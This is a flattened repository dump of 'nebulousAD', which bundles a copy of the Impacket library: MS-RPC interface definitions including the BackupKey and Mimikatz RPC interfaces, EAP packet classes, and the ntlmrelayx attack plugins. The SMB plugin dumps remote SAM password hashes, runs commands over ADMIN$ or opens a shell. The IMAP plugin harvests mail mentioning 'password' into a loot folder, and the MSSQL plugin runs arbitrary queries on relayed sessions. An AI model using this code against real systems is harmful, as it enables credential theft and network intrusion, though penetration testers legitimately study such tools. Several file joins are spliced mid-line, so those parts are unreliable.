easier to use. 17 | # They are located at the end of this file. 18 | # Helper functions start with "h". 19 | # There are test cases for them too. 20 | # 21 | # ToDo: 22 | # [ ] 2.2.2 Client-Side-Wrapped Secret 23 | 24 | from nebulousAD.modimpacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRUniConformantArray 25 | from nebulousAD.modimpacket.dcerpc.v5.dtypes import DWORD, NTSTATUS, GUID, RPC_SID, NULL 26 | from nebulousAD.modimpacket.dcerpc.v5.rpcrt import DCERPCException 27 | from nebulousAD.modimpacket import system_errors 28 | from nebulousAD.modimpacket.uuid import uuidtup_to_bin, string_to_bin 29 | from nebulousAD.modimpacket.structure import Structure 30 | 31 | MSRPC_UUID_BKRP = uuidtup_to_bin(('3dde7c30-165d-11d1-ab8f-00805f14db40', '1.0')) 32 | 33 | class DCERPCSessionError(DCERPCException): 34 | def __init__(self, error_string=None, error_code=None, packet=None): 35 | DCERPCException.__init__(self, error_string, error_code, packet) 36 | 37 | def __str__( self ): 38 | key = self.error_code 39 | if system_errors.ERROR_MESSAGES.has_key(key): 40 | error_msg_short = system_errors.ERROR_MESSAGES[key][0] 41 | error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] 42 | return 'BKRP SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) 43 | else: 44 | return 'BKRP SessionError: unknown error code: 0x%x' % self.error_code 45 | 46 | ################################################################################ 47 | # CONSTANTS 48 | ################################################################################ 49 | 50 | BACKUPKEY_BACKUP_GUID = string_to_bin("7F752B10-178E-11D1-AB8F-00805F14DB40") 51 | BACKUPKEY_RESTORE_GUID_WIN2K = string_to_bin("7FE94D50-178E-11D1-AB8F-00805F14DB40") 52 | BACKUPKEY_RETRIEVE_BACKUP_KEY_GUID = string_to_bin("018FF48A-EABA-40C6-8F6D-72370240E967") 53 | BACKUPKEY_RESTORE_GUID = string_to_bin("47270C64-2FC7-499B-AC5B-0E37CDCE899A") 54 | 55 | ################################################################################ 56 | # STRUCTURES 57 | ################################################################################ 58 | class BYTE_ARRAY(NDRUniConformantArray): 59 | item = 'c' 60 | 61 | class PBYTE_ARRAY(NDRPOINTER): 62 | referent = ( 63 | ('Data', BYTE_ARRAY), 64 | ) 65 | 66 | # 2.2.4.1 Rc4EncryptedPayload Structure 67 | class Rc4EncryptedPayload(Structure): 68 | structure = ( 69 | ('R3', '32s=""'), 70 | ('MAC', '20s=""'), 71 | ('SID', ':', RPC_SID), 72 | ('Secret', ':'), 73 | ) 74 | 75 | # 2.2.4 Secret Wrapped with Symmetric Key 76 | class WRAPPED_SECRET(Structure): 77 | structure = ( 78 | ('SIGNATURE', '. 19 | # There are test cases for them too. 20 | # 21 | from nebulousAD.modimpacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRUniConformantVaryingArray 22 | from nebulousAD.modimpacket.dcerpc.v5.epm import PRPC_IF_ID 23 | from nebulousAD.modimpacket.dcerpc.v5.dtypes import ULONG, DWORD_ARRAY, ULONGLONG 24 | from nebulousAD.modimpacket.dcerpc.v5.rpcrt import DCERPCException 25 | from nebulousAD.modimpacket.uuid import uuidtup_to_bin 26 | from nebulousAD.modimpacket import nt_errors 27 | 28 | MSRPC_UUID_MGMT = uuidtup_to_bin(('afa8bd80-7d8a-11c9-bef4-08002b102989','1.0')) 29 | 30 | class DCERPCSessionError(DCERPCException): 31 | def __init__(self, error_string=None, error_code=None, packet=None): 32 | DCERPCException.__init__(self, error_string, error_code, packet) 33 | 34 | def __str__( self ): 35 | key = self.error_code 36 | if nt_errors.ERROR_MESSAGES.has_key(key): 37 | error_msg_short = nt_errors.ERROR_MESSAGES[key][0] 38 | error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1] 39 | return 'MGMT SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) 40 | else: 41 | return 'MGMT SessionError: unknown error code: 0x%x' % self.error_code 42 | 43 | ################################################################################ 44 | # CONSTANTS 45 | ################################################################################ 46 | 47 | class rpc_if_id_p_t_array(NDRUniConformantArray): 48 | item = PRPC_IF_ID 49 | 50 | class rpc_if_id_vector_t(NDRSTRUCT): 51 | structure = ( 52 | ('count',ULONG), 53 | ('if_id',rpc_if_id_p_t_array), 54 | ) 55 | structure64 = ( 56 | ('count',ULONGLONG), 57 | ('if_id',rpc_if_id_p_t_array), 58 | ) 59 | 60 | class rpc_if_id_vector_p_t(NDRPOINTER): 61 | referent = ( 62 | ('Data', rpc_if_id_vector_t), 63 | ) 64 | 65 | error_status = ULONG 66 | ################################################################################ 67 | # STRUCTURES 68 | ################################################################################ 69 | 70 | ################################################################################ 71 | # RPC CALLS 72 | ################################################################################ 73 | class inq_if_ids(NDRCALL): 74 | opnum = 0 75 | structure = ( 76 | ) 77 | 78 | class inq_if_idsResponse(NDRCALL): 79 | structure = ( 80 | ('if_id_vector', rpc_if_id_vector_p_t), 81 | ('status', error_status), 82 | ) 83 | 84 | class inq_stats(NDRCALL): 85 | opnum = 1 86 | structure = ( 87 | ('count', ULONG), 88 | ) 89 | 90 | class inq_statsResponse(NDRCALL): 91 | structure = ( 92 | ('count', ULONG), 93 | ('statistics', DWORD_ARRAY), 94 | ('status', error_status), 95 | ) 96 | 97 | class is_server_listening(NDRCALL): 98 | opnum = 2 99 | structure = ( 100 | ) 101 | 102 | class is_server_listeningResponse(NDRCALL): 103 | structure = ( 104 | ('status', error_status), 105 | ) 106 | 107 | class stop_server_listening(NDRCALL): 108 | opnum = 3 109 | structure = ( 110 | ) 111 | 112 | class stop_server_listeningResponse(NDRCALL): 113 | structure = ( 114 | ('status', error_status), 115 | ) 116 | 117 | class inq_princ_name(NDRCALL): 118 | opnum = 4 119 | structure = ( 120 | ('authn_proto', ULONG), 121 | ('princ_name_size', ULONG), 122 | ) 123 | 124 | class inq_princ_nameResponse(NDRCALL): 125 | structure = ( 126 | ('princ_name', NDRUniConformantVaryingArray), 127 | ('status', error_status), 128 | ) 129 | 130 | 131 | ################################################################################ 132 | # OPNUMs and their corresponding structures 133 | ################################################################################ 134 | OPNUMS = { 135 | 0 : (inq_if_ids, inq_if_idsResponse), 136 | 1 : (inq_stats, inq_statsResponse), 137 | 2 : (is_server_listening, is_server_listeningResponse), 138 | 3 : (stop_server_listening, stop_server_listeningResponse), 139 | 4 : (inq_princ_name, inq_princ_nameResponse), 140 | } 141 | 142 | ################################################################################ 143 | # HELPER FUNCTIONS 144 | ################################################################################ 145 | def hinq_if_ids(dce): 146 | request = inq_if_ids() 147 | return dce.request(request) 148 | 149 | def hinq_stats(dce, count = 4): 150 | request = inq_stats() 151 | request['count'] = count 152 | return dce.request(request) 153 | 154 | def his_server_listening(dce): 155 | request = is_server_listening() 156 | return dce.request(request, checkError=False) 157 | 158 | def hstop_server_listening(dce): 159 | request = stop_server_listening() 160 | return dce.request(request) 161 | 162 | def hinq_princ_name(dce, authn_proto=0, princ_name_size=1): 163 | request = inq_princ_name() 164 | request['authn_proto'] = authn_proto 165 | request['princ_name_size'] = princ_name_size 166 | return dce.request(request, checkError=False) 167 | 168 | 169 | -------------------------------------------------------------------------------- /nebulousAD/modimpacket/dcerpc/v5/mimilib.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Author: Alberto Solino (@agsolino) 8 | # 9 | # Description: 10 | # Mimikatz Interface implementation, based on @gentilkiwi IDL 11 | # 12 | # Best way to learn how to use these calls is to grab the protocol standard 13 | # so you understand what the call does, and then read the test case located 14 | # at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC 15 | # 16 | # Some calls have helper functions, which makes it even easier to use. 17 | # They are located at the end of this file. 18 | # Helper functions start with "h". 19 | # There are test cases for them too. 20 | # 21 | import binascii 22 | import random 23 | 24 | from nebulousAD.modimpacket import nt_errors 25 | from nebulousAD.modimpacket.dcerpc.v5.dtypes import DWORD, ULONG 26 | from nebulousAD.modimpacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray 27 | from nebulousAD.modimpacket.dcerpc.v5.rpcrt import DCERPCException 28 | from nebulousAD.modimpacket.uuid import uuidtup_to_bin 29 | from nebulousAD.modimpacket.structure import Structure 30 | 31 | MSRPC_UUID_MIMIKATZ = uuidtup_to_bin(('17FC11E9-C258-4B8D-8D07-2F4125156244', '1.0')) 32 | 33 | class DCERPCSessionError(DCERPCException): 34 | def __init__(self, error_string=None, error_code=None, packet=None): 35 | DCERPCException.__init__(self, error_string, error_code, packet) 36 | 37 | def __str__( self ): 38 | key = self.error_code 39 | if nt_errors.ERROR_MESSAGES.has_key(key): 40 | error_msg_short = nt_errors.ERROR_MESSAGES[key][0] 41 | error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1] 42 | return 'Mimikatz SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) 43 | else: 44 | return 'Mimikatz SessionError: unknown error code: 0x%x' % self.error_code 45 | 46 | ################################################################################ 47 | # CONSTANTS 48 | ################################################################################ 49 | CALG_DH_EPHEM = 0x0000aa02 50 | TPUBLICKEYBLOB = 0x6 51 | CUR_BLOB_VERSION = 0x2 52 | ALG_ID = DWORD 53 | CALG_RC4 = 0x6801 54 | 55 | ################################################################################ 56 | # STRUCTURES 57 | ################################################################################ 58 | class PUBLICKEYSTRUC(Structure): 59 | structure = ( 60 | ('bType','B=0'), 61 | ('bVersion','B=0'), 62 | ('reserved','. 19 | # There are test cases for them too. 20 | # 21 | from nebulousAD.modimpacket.dcerpc.v5.ndr import NDRCALL, NDRUniConformantArray 22 | from nebulousAD.modimpacket.dcerpc.v5.dtypes import DWORD, LPWSTR, ULONG, WSTR, NULL 23 | from nebulousAD.modimpacket import hresult_errors 24 | from nebulousAD.modimpacket.uuid import uuidtup_to_bin 25 | from nebulousAD.modimpacket.dcerpc.v5.rpcrt import DCERPCException 26 | 27 | MSRPC_UUID_SASEC = uuidtup_to_bin(('378E52B0-C0A9-11CF-822D-00AA0051E40F','1.0')) 28 | 29 | class DCERPCSessionError(DCERPCException): 30 | def __init__(self, error_string=None, error_code=None, packet=None): 31 | DCERPCException.__init__(self, error_string, error_code, packet) 32 | 33 | def __str__( self ): 34 | key = self.error_code 35 | if hresult_errors.ERROR_MESSAGES.has_key(key): 36 | error_msg_short = hresult_errors.ERROR_MESSAGES[key][0] 37 | error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1] 38 | return 'TSCH SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) 39 | else: 40 | return 'TSCH SessionError: unknown error code: 0x%x' % self.error_code 41 | 42 | ################################################################################ 43 | # CONSTANTS 44 | ################################################################################ 45 | SASEC_HANDLE = WSTR 46 | PSASEC_HANDLE = LPWSTR 47 | 48 | MAX_BUFFER_SIZE = 273 49 | 50 | # 3.2.5.3.4 SASetAccountInformation (Opnum 0) 51 | TASK_FLAG_RUN_ONLY_IF_LOGGED_ON = 0x40000 52 | 53 | ################################################################################ 54 | # STRUCTURES 55 | ################################################################################ 56 | class WORD_ARRAY(NDRUniConformantArray): 57 | item = '") 29 | 30 | class EAPR(ProtocolPacket): 31 | """It represents a request or a response in EAP (codes 1 and 2)""" 32 | 33 | IDENTITY = 0x01 34 | EXPANDED = 0xfe 35 | 36 | header_size = 1 37 | tail_size = 0 38 | 39 | type = Byte(0) 40 | 41 | class EAP(ProtocolPacket): 42 | REQUEST = 0x01 43 | RESPONSE = 0x02 44 | SUCCESS = 0x03 45 | FAILURE = 0x04 46 | 47 | header_size = 4 48 | tail_size = 0 49 | 50 | code = Byte(0) 51 | identifier = Byte(1) 52 | length = Word(2, ">") 53 | 54 | class EAPOL(ProtocolPacket): 55 | EAP_PACKET = 0x00 56 | EAPOL_START = 0x01 57 | EAPOL_LOGOFF = 0x02 58 | EAPOL_KEY = 0x03 59 | EAPOL_ENCAPSULATED_ASF_ALERT = 0x04 60 | 61 | DOT1X_VERSION = 0x01 62 | 63 | header_size = 4 64 | tail_size = 0 65 | 66 | version = Byte(0) 67 | packet_type = Byte(1) 68 | body_length = Word(2, ">") 69 | 70 | 71 | -------------------------------------------------------------------------------- /nebulousAD/modimpacket/examples/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /nebulousAD/modimpacket/examples/logger.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Description: This logger is intended to be used by impacket instead 8 | # of printing directly. This will allow other libraries to use their 9 | # custom logging implementation. 10 | # 11 | 12 | import logging 13 | import sys 14 | from colorama import init as colorinit 15 | from colorama import Fore 16 | 17 | # This module can be used by scripts using the Impacket library 18 | # in order to configure the root logger to output events 19 | # generated by the library with a predefined format 20 | 21 | # If the scripts want to generate log entries, they can write 22 | # directly to the root logger (logging.info, debug, etc). 23 | 24 | 25 | class ImpacketFormatter(logging.Formatter): 26 | """ 27 | Prefixing logged messages through the custom attribute 'bullet'. 28 | """ 29 | def __init__(self): 30 | logging.Formatter.__init__(self, '%(bullet)s %(message)s', None) 31 | 32 | def format(self, record): 33 | if record.levelno == logging.INFO: 34 | record.bullet = Fore.WHITE+'[*]' 35 | elif record.levelno == logging.DEBUG: 36 | record.bullet = Fore.BLUE+'[+]' 37 | elif record.levelno == logging.WARNING: 38 | record.bullet = Fore.YELLOW+'[!]' 39 | elif record.levelno == logging.ERROR: 40 | record.bullet = Fore.RED+'[@]' 41 | else: 42 | record.bullet = Fore.LIGHTBLUE_EX+'[-]' 43 | 44 | return logging.Formatter.format(self, record) 45 | 46 | 47 | def init(): 48 | # We add a StreamHandler and formatter to the root logger, and init colorama. 49 | colorinit(convert=True) 50 | handler = logging.StreamHandler(sys.stdout) 51 | handler.setFormatter(ImpacketFormatter()) 52 | logging.getLogger().addHandler(handler) 53 | logging.getLogger().setLevel(logging.INFO) 54 | -------------------------------------------------------------------------------- /nebulousAD/modimpacket/examples/ntlmrelayx/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /nebulousAD/modimpacket/examples/ntlmrelayx/attacks/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2013-2017 CORE Security Technologies 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Protocol Attack Base Class definition 8 | # 9 | # Authors: 10 | # Alberto Solino (@agsolino) 11 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 12 | # 13 | # Description: 14 | # Defines a base class for all attacks + loads all available modules 15 | # 16 | # ToDo: 17 | # 18 | import os, sys 19 | import pkg_resources 20 | from nebulousAD.modimpacket import LOG 21 | from threading import Thread 22 | 23 | PROTOCOL_ATTACKS = {} 24 | 25 | # Base class for Protocol Attacks for different protocols (SMB, MSSQL, etc) 26 | # Besides using this base class you need to define one global variable when 27 | # writing a plugin for protocol clients: 28 | # PROTOCOL_ATTACK_CLASS = "" 29 | # or (to support multiple classes in one file) 30 | # PROTOCOL_ATTACK_CLASSES = ["", ""] 31 | # These classes must have the attribute PLUGIN_NAMES which is a list of protocol names 32 | # that will be matched later with the relay targets (e.g. SMB, LDAP, etc) 33 | class ProtocolAttack(Thread): 34 | PLUGIN_NAMES = ['PROTOCOL'] 35 | def __init__(self, config, client, username): 36 | Thread.__init__(self) 37 | # Set threads as daemon 38 | self.daemon = True 39 | self.config = config 40 | self.client = client 41 | # By default we only use the username and remove the domain 42 | self.username = username.split('/')[1] 43 | 44 | def run(self): 45 | raise RuntimeError('Virtual Function') 46 | 47 | for file in pkg_resources.resource_listdir('impacket.examples.ntlmrelayx', 'attacks'): 48 | if file.find('__') >=0 or os.path.splitext(file)[1] == '.pyc': 49 | continue 50 | __import__(__package__ + '.' + os.path.splitext(file)[0]) 51 | module = sys.modules[__package__ + '.' + os.path.splitext(file)[0]] 52 | try: 53 | pluginClasses = set() 54 | try: 55 | if hasattr(module,'PROTOCOL_ATTACK_CLASSES'): 56 | # Multiple classes 57 | for pluginClass in module.PROTOCOL_ATTACK_CLASSES: 58 | pluginClasses.add(getattr(module, pluginClass)) 59 | else: 60 | # Single class 61 | pluginClasses.add(getattr(module, getattr(module, 'PROTOCOL_ATTACK_CLASS'))) 62 | except Exception, e: 63 | LOG.debug(e) 64 | pass 65 | 66 | for pluginClass in pluginClasses: 67 | for pluginName in pluginClass.PLUGIN_NAMES: 68 | LOG.debug('Protocol Attack %s loaded..' % pluginName) 69 | PROTOCOL_ATTACKS[pluginName] = pluginClass 70 | except Exception, e: 71 | LOG.debug(str(e)) 72 | 73 | -------------------------------------------------------------------------------- /nebulousAD/modimpacket/examples/ntlmrelayx/attacks/httpattack.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # HTTP Attack Class 8 | # 9 | # Authors: 10 | # Alberto Solino (@agsolino) 11 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 12 | # 13 | # Description: 14 | # HTTP protocol relay attack 15 | # 16 | # ToDo: 17 | # 18 | from nebulousAD.modimpacket.examples.ntlmrelayx.attacks import ProtocolAttack 19 | 20 | PROTOCOL_ATTACK_CLASS = "HTTPAttack" 21 | 22 | class HTTPAttack(ProtocolAttack): 23 | """ 24 | This is the default HTTP attack. This attack only dumps the root page, though 25 | you can add any complex attack below. self.client is an instance of urrlib.session 26 | For easy advanced attacks, use the SOCKS option and use curl or a browser to simply 27 | proxy through ntlmrelayx 28 | """ 29 | PLUGIN_NAMES = ["HTTP", "HTTPS"] 30 | def run(self): 31 | #Default action: Dump requested page to file, named username-targetname.html 32 | 33 | #You can also request any page on the server via self.client.session, 34 | #for example with: 35 | result = self.client.request("GET", "/") 36 | r1 = self.client.getresponse() 37 | print r1.status, r1.reason 38 | data1 = r1.read() 39 | print data1 40 | 41 | #Remove protocol from target name 42 | #safeTargetName = self.client.target.replace('http://','').replace('https://','') 43 | 44 | #Replace any special chars in the target name 45 | #safeTargetName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', safeTargetName) 46 | 47 | #Combine username with filename 48 | #fileName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', self.username.decode('utf-16-le')) + '-' + safeTargetName + '.html' 49 | 50 | #Write it to the file 51 | #with open(os.path.join(self.config.lootdir,fileName),'w') as of: 52 | # of.write(self.client.lastresult) 53 | -------------------------------------------------------------------------------- /nebulousAD/modimpacket/examples/ntlmrelayx/attacks/imapattack.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # IMAP Attack Class 8 | # 9 | # Authors: 10 | # Alberto Solino (@agsolino) 11 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 12 | # 13 | # Description: 14 | # IMAP protocol relay attack 15 | # 16 | # ToDo: 17 | # 18 | import re 19 | import os 20 | from nebulousAD.modimpacket import LOG 21 | from nebulousAD.modimpacket.examples.ntlmrelayx.attacks import ProtocolAttack 22 | 23 | PROTOCOL_ATTACK_CLASS = "IMAPAttack" 24 | 25 | class IMAPAttack(ProtocolAttack): 26 | """ 27 | This is the default IMAP(s) attack. By default it searches the INBOX imap folder 28 | for messages with "password" in the header or body. Alternate keywords can be specified 29 | on the command line. For more advanced attacks, consider using the SOCKS feature. 30 | """ 31 | PLUGIN_NAMES = ["IMAP", "IMAPS"] 32 | def run(self): 33 | #Default action: Search the INBOX 34 | targetBox = self.config.mailbox 35 | result, data = self.client.select(targetBox,True) #True indicates readonly 36 | if result != 'OK': 37 | LOG.error('Could not open mailbox %s: %s' % (targetBox, data)) 38 | LOG.info('Opening mailbox INBOX') 39 | targetBox = 'INBOX' 40 | result, data = self.client.select(targetBox,True) #True indicates readonly 41 | inboxCount = int(data[0]) 42 | LOG.info('Found %s messages in mailbox %s' % (inboxCount, targetBox)) 43 | #If we should not dump all, search for the keyword 44 | if not self.config.dump_all: 45 | result, rawdata = self.client.search(None, 'OR', 'SUBJECT', '"%s"' % self.config.keyword, 'BODY', '"%s"' % self.config.keyword) 46 | #Check if search worked 47 | if result != 'OK': 48 | LOG.error('Search failed: %s' % rawdata) 49 | return 50 | dumpMessages = [] 51 | #message IDs are separated by spaces 52 | for msgs in rawdata: 53 | dumpMessages += msgs.split(' ') 54 | if self.config.dump_max != 0 and len(dumpMessages) > self.config.dump_max: 55 | dumpMessages = dumpMessages[:self.config.dump_max] 56 | else: 57 | #Dump all mails, up to the maximum number configured 58 | if self.config.dump_max == 0 or self.config.dump_max > inboxCount: 59 | dumpMessages = range(1, inboxCount+1) 60 | else: 61 | dumpMessages = range(1, self.config.dump_max+1) 62 | 63 | numMsgs = len(dumpMessages) 64 | if numMsgs == 0: 65 | LOG.info('No messages were found containing the search keywords') 66 | else: 67 | LOG.info('Dumping %d messages found by search for "%s"' % (numMsgs, self.config.keyword)) 68 | for i, msgIndex in enumerate(dumpMessages): 69 | #Fetch the message 70 | result, rawMessage = self.client.fetch(msgIndex, '(RFC822)') 71 | if result != 'OK': 72 | LOG.error('Could not fetch message with index %s: %s' % (msgIndex, rawMessage)) 73 | continue 74 | 75 | #Replace any special chars in the mailbox name and username 76 | mailboxName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', targetBox) 77 | textUserName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', self.username) 78 | 79 | #Combine username with mailboxname and mail number 80 | fileName = 'mail_' + textUserName + '-' + mailboxName + '_' + str(msgIndex) + '.eml' 81 | 82 | #Write it to the file 83 | with open(os.path.join(self.config.lootdir,fileName),'w') as of: 84 | of.write(rawMessage[0][1]) 85 | LOG.info('Done fetching message %d/%d' % (i+1,numMsgs)) 86 | 87 | #Close connection cleanly 88 | self.client.logout() 89 | -------------------------------------------------------------------------------- /nebulousAD/modimpacket/examples/ntlmrelayx/attacks/mssqlattack.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # MSSQL Attack Class 8 | # 9 | # Authors: 10 | # Alberto Solino (@agsolino) 11 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 12 | # 13 | # Description: 14 | # MSSQL protocol relay attack 15 | # 16 | # ToDo: 17 | # 18 | from nebulousAD.modimpacket import LOG 19 | from nebulousAD.modimpacket.examples.ntlmrelayx.attacks import ProtocolAttack 20 | 21 | PROTOCOL_ATTACK_CLASS = "MSSQLAttack" 22 | 23 | class MSSQLAttack(ProtocolAttack): 24 | PLUGIN_NAMES = ["MSSQL"] 25 | def run(self): 26 | if self.config.queries is None: 27 | LOG.error('No SQL queries specified for MSSQL relay!') 28 | else: 29 | for query in self.config.queries: 30 | LOG.info('Executing SQL: %s' % query) 31 | self.client.sql_query(query) 32 | self.client.printReplies() 33 | self.client.printRows() 34 | -------------------------------------------------------------------------------- /nebulousAD/modimpacket/examples/ntlmrelayx/attacks/smbattack.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # SMB Attack Class 8 | # 9 | # Authors: 10 | # Alberto Solino (@agsolino) 11 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 12 | # 13 | # Description: 14 | # Defines a base class for all attacks + loads all available modules 15 | # 16 | # ToDo: 17 | # 18 | from nebulousAD.modimpacket import LOG 19 | from nebulousAD.modimpacket.examples.ntlmrelayx.attacks import ProtocolAttack 20 | from nebulousAD.modimpacket.examples.ntlmrelayx.utils.tcpshell import TcpShell 21 | from nebulousAD.modimpacket import smb 22 | from nebulousAD.modimpacket import smb3 23 | from nebulousAD.modimpacket.examples import serviceinstall 24 | from nebulousAD.modimpacket.smbconnection import SMBConnection 25 | from nebulousAD.modimpacket.examples.smbclient import MiniImpacketShell 26 | from nebulousAD.modimpacket.dcerpc.v5.rpcrt import DCERPCException 27 | 28 | PROTOCOL_ATTACK_CLASS = "SMBAttack" 29 | 30 | class SMBAttack(ProtocolAttack): 31 | """ 32 | This is the SMB default attack class. 33 | It will either dump the hashes from the remote target, or open an interactive 34 | shell if the -i option is specified. 35 | """ 36 | PLUGIN_NAMES = ["SMB"] 37 | def __init__(self, config, SMBClient, username): 38 | ProtocolAttack.__init__(self, config, SMBClient, username) 39 | if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3): 40 | self.__SMBConnection = SMBConnection(existingConnection=SMBClient) 41 | else: 42 | self.__SMBConnection = SMBClient 43 | self.__answerTMP = '' 44 | if self.config.interactive: 45 | #Launch locally listening interactive shell 46 | self.tcpshell = TcpShell() 47 | else: 48 | self.tcpshell = None 49 | if self.config.exeFile is not None: 50 | self.installService = serviceinstall.ServiceInstall(SMBClient, self.config.exeFile) 51 | 52 | def __answer(self, data): 53 | self.__answerTMP += data 54 | 55 | def run(self): 56 | # Here PUT YOUR CODE! 57 | if self.tcpshell is not None: 58 | LOG.info('Started interactive SMB client shell via TCP on 127.0.0.1:%d' % self.tcpshell.port) 59 | #Start listening and launch interactive shell 60 | self.tcpshell.listen() 61 | self.shell = MiniImpacketShell(self.__SMBConnection,self.tcpshell.socketfile) 62 | self.shell.cmdloop() 63 | return 64 | if self.config.exeFile is not None: 65 | result = self.installService.install() 66 | if result is True: 67 | LOG.info("Service Installed.. CONNECT!") 68 | self.installService.uninstall() 69 | else: 70 | from nebulousAD.modimpacket.examples.secretsdump import RemoteOperations, SAMHashes 71 | from nebulousAD.modimpacket.examples.ntlmrelayx.utils.enum import EnumLocalAdmins 72 | samHashes = None 73 | try: 74 | # We have to add some flags just in case the original client did not 75 | # Why? needed for avoiding INVALID_PARAMETER 76 | if self.__SMBConnection.getDialect() == smb.SMB_DIALECT: 77 | flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags() 78 | flags2 |= smb.SMB.FLAGS2_LONG_NAMES 79 | self.__SMBConnection.getSMBServer().set_flags(flags2=flags2) 80 | 81 | remoteOps = RemoteOperations(self.__SMBConnection, False) 82 | remoteOps.enableRegistry() 83 | except Exception, e: 84 | if "rpc_s_access_denied" in str(e): # user doesn't have correct privileges 85 | if self.config.enumLocalAdmins: 86 | LOG.info(u"Relayed user doesn't have admin on {}. Attempting to enumerate users who do...".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding))) 87 | enumLocalAdmins = EnumLocalAdmins(self.__SMBConnection) 88 | try: 89 | localAdminSids, localAdminNames = enumLocalAdmins.getLocalAdmins() 90 | LOG.info(u"Host {} has the following local admins (hint: try relaying one of them here...)".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding))) 91 | for name in localAdminNames: 92 | LOG.info(u"Host {} local admin member: {} ".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding), name)) 93 | except DCERPCException, e: 94 | LOG.info("SAMR access denied") 95 | return 96 | # Something else went wrong. aborting 97 | LOG.error(str(e)) 98 | return 99 | 100 | try: 101 | if self.config.command is not None: 102 | remoteOps._RemoteOperations__executeRemote(self.config.command) 103 | LOG.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost()) 104 | self.__answerTMP = '' 105 | self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) 106 | self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output') 107 | print self.__answerTMP.decode(self.config.encoding, 'replace') 108 | else: 109 | bootKey = remoteOps.getBootKey() 110 | remoteOps._RemoteOperations__serviceDeleted = True 111 | samFileName = remoteOps.saveSAM() 112 | samHashes = SAMHashes(samFileName, bootKey, isRemote = True) 113 | samHashes.dump() 114 | samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes') 115 | LOG.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) 116 | except Exception, e: 117 | LOG.error(str(e)) 118 | finally: 119 | if samHashes is not None: 120 | samHashes.finish() 121 | if remoteOps is not None: 122 | remoteOps.finish() 123 | -------------------------------------------------------------------------------- /nebulousAD/modimpacket/examples/ntlmrelayx/clients/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2013-2017 CORE Security Technologies 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Protocol Client Base Class definition 8 | # 9 | # Author: 10 | # Alberto Solino (@agsolino) 11 | # 12 | # Description: 13 | # Defines a base class for all clients + loads all available modules 14 | # 15 | # ToDo: 16 | # 17 | import os, sys, pkg_resources 18 | from nebulousAD.modimpacket import LOG 19 | 20 | PROTOCOL_CLIENTS = {} 21 | 22 | # Base class for Protocol Clients for different protocols (SMB, MSSQL, etc) 23 | # Besides using this base class you need to define one global variable when 24 | # writing a plugin for protocol clients: 25 | # PROTOCOL_CLIENT_CLASS = "" 26 | # PLUGIN_NAME must be 